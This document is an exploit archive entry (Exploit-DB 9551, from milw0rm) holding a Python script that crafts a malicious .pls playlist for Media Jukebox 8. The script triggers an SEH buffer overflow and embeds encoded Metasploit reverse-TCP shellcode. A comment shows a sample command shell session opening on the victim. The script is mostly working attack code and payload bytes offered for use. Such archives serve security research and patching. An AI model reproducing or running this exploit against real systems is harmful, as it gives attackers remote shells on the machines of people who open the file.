Media Jukebox 8 - '.pls' Universal Local Buffer (SEH)

EDB-ID:

9551


Author:

mr_me

Type:

local


Platform:

Windows

Date:

2009-08-31


#!/usr/bin/python
#
# ######################################################################
#
# Media Jukebox 8 (.pls) Universal Local Buffer Exploit (SEH)
# Author: mr_me
# Download: http://download.chip.eu/en/Media-Jukebox-8.0.400_76134.html
# Note: we needed a header to trigger this one  ;) 
# Tested on: Wind0ws XP and Vist@
# Greetz: offensive-security, I tried harder  :) 
# 
# ######################################################################
#
# msf exploit(handler) > exploit
#
# [*] Handler binding to LHOST 0.0.0.0
# [*] Started reverse handler
# [*] Starting the payload handler...
# [*] Sending stage (474 bytes)
# [*] Command shell session 3 opened (192.168.0.2:4444 -> 192.168.0.4:1246)
#
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Program Files> 
#

def banner():
	print "\n|-------------------------------------------------------------|" 
	print "| Media Jukebox 8 (.pls) Universal Local Buffer Exploit (SEH) |" 
	print "|                       by MrMe 09/09                         |"
	print "|-------------------------------------------------------------|\n"

# windows/shell/reverse_tcp - 617 bytes (stage 1)
# http://www.metasploit.com
# Encoder: x86/alpha_mixed
# LHOST=192.168.0.2, EXITFUNC=seh, LPORT=4444

sc = ("\xda\xc8\xd9\x74\x24\xf4\x5b\x53\x59\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b"
"\x4c\x4d\x38\x50\x56\x45\x50\x45\x50\x43\x30\x51\x43\x50\x55"
"\x46\x36\x50\x57\x4c\x4b\x42\x4c\x46\x44\x45\x48\x4c\x4b\x47"
"\x35\x47\x4c\x4c\x4b\x50\x54\x44\x45\x42\x58\x45\x51\x4b\x5a"
"\x4c\x4b\x51\x5a\x44\x58\x4c\x4b\x50\x5a\x47\x50\x43\x31\x4a"
"\x4b\x4b\x53\x46\x52\x47\x39\x4c\x4b\x47\x44\x4c\x4b\x43\x31"
"\x4a\x4e\x46\x51\x4b\x4f\x4b\x4c\x50\x31\x49\x50\x4e\x4c\x46"
"\x58\x4d\x30\x42\x54\x44\x47\x49\x51\x48\x4f\x44\x4d\x43\x31"
"\x49\x57\x4a\x4b\x4c\x32\x47\x4b\x43\x4c\x46\x44\x45\x44\x42"
"\x55\x4b\x51\x4c\x4b\x51\x4a\x47\x54\x45\x51\x4a\x4b\x45\x36"
"\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x50\x5a\x45\x4c\x45\x51\x4a"
"\x4b\x4c\x4b\x45\x54\x4c\x4b\x43\x31\x4b\x58\x4a\x4b\x45\x52"
"\x50\x31\x49\x50\x51\x4f\x51\x4e\x51\x4d\x51\x4b\x49\x52\x44"
"\x48\x45\x50\x51\x4e\x43\x5a\x46\x50\x50\x59\x45\x34\x4c\x4b"
"\x45\x49\x4c\x4b\x51\x4b\x44\x4c\x4c\x4b\x51\x4b\x45\x4c\x4c"
"\x4b\x45\x4b\x4c\x4b\x51\x4b\x45\x58\x51\x43\x43\x58\x4c\x4e"
"\x50\x4e\x44\x4e\x4a\x4c\x4b\x4f\x48\x56\x4c\x49\x48\x47\x51"
"\x43\x45\x38\x51\x44\x49\x5a\x4e\x4f\x4c\x51\x4b\x4f\x49\x46"
"\x4b\x31\x4a\x4c\x43\x30\x45\x51\x45\x50\x43\x30\x50\x50\x51"
"\x47\x51\x46\x51\x43\x4b\x39\x4b\x55\x4a\x48\x45\x4f\x43\x30"
"\x45\x50\x43\x30\x4a\x30\x43\x31\x43\x30\x43\x30\x4e\x56\x42"
"\x39\x44\x58\x4b\x57\x4e\x44\x44\x59\x42\x50\x4b\x59\x4a\x4c"
"\x4c\x39\x4e\x4a\x45\x30\x4e\x39\x45\x59\x4b\x45\x4e\x4d\x48"
"\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x37\x50\x53\x50\x32\x51\x4f"
"\x46\x53\x46\x52\x43\x30\x51\x4b\x4c\x4d\x50\x4b\x42\x38\x46"
"\x31\x4b\x4f\x49\x47\x4c\x49\x49\x4f\x4c\x49\x49\x53\x4c\x4d"
"\x43\x45\x42\x34\x42\x4a\x45\x55\x50\x59\x50\x51\x46\x33\x4b"
"\x4f\x50\x34\x4c\x4f\x4b\x4f\x51\x45\x43\x34\x51\x49\x4d\x59"
"\x44\x44\x4c\x4e\x4b\x52\x4c\x32\x46\x4b\x51\x37\x46\x34\x4b"
"\x4f\x47\x47\x4b\x4f\x51\x45\x51\x38\x50\x31\x49\x50\x46\x30"
"\x46\x30\x46\x30\x50\x50\x51\x50\x46\x30\x47\x30\x50\x50\x4b"
"\x4f\x51\x45\x47\x54\x4d\x59\x48\x47\x43\x58\x49\x50\x49\x38"
"\x45\x50\x43\x32\x42\x48\x43\x32\x43\x30\x42\x31\x51\x4c\x4d"
"\x59\x4b\x51\x43\x5a\x44\x50\x46\x31\x51\x47\x4b\x4f\x51\x45"
"\x51\x30\x42\x4a\x51\x50\x51\x4e\x46\x36\x49\x51\x4a\x46\x44"
"\x46\x46\x36\x49\x51\x4d\x36\x45\x58\x50\x56\x43\x5a\x43\x30"
"\x4b\x4f\x46\x35\x44\x4c\x4b\x39\x48\x43\x43\x5a\x43\x30\x50"
"\x56\x46\x33\x51\x47\x4b\x4f\x51\x45\x42\x38\x4b\x4f\x4e\x33"
"\x41\x41")

header = ("[playlist]\n");
header += ("NumberOfEntries=3\n\n");
header += ("File1=http://");	# give a dummy header to trick the app
crash = ("\x41" * 262);		# overwrite the buffer at 262 bytes
jmp = ("\xeb\x06\x90\x90"); 	# short jump over SEH handler
seh = ("\x6f\x29\x01\x10"); 	# universal p/p/r from wnaspi32.dll
nops = ("\x90" * 5);		# nop sled for easy landing
junk = ("\xCC" * 500);		# gotta make the size seem real  ;) 

buff = header + crash + jmp + seh + nops + sc + junk
banner()

try:
	file = open('mr_mes-wicked_miX.pl','w');
	file.write(buff);
	file.close();
	print "[+] File created successfully: mr_mes-wicked_miX.pls\n";
except:
	print "[-] Error cant write file to system\n";

# milw0rm.com [2009-08-31]